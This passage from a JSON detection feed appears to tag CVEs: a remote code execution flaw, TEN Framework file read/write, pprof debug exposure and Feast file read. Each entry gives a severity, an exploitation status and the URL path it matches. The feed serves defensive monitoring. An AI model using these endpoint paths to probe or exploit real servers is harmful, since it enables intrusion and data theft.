1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2019-11248","tag_type":"cve","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof","reference_urls":["https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0","http://mmcloughlin.com/posts/your-pprof-is-showing","https://github.com/kubernetes/kubernetes/issues/81023","https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ","https://nvd.nist.gov/vuln/detail/CVE-2019-11248"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]}],"data_as_of":"2026-09-30T16:08:57.791291+00:00"}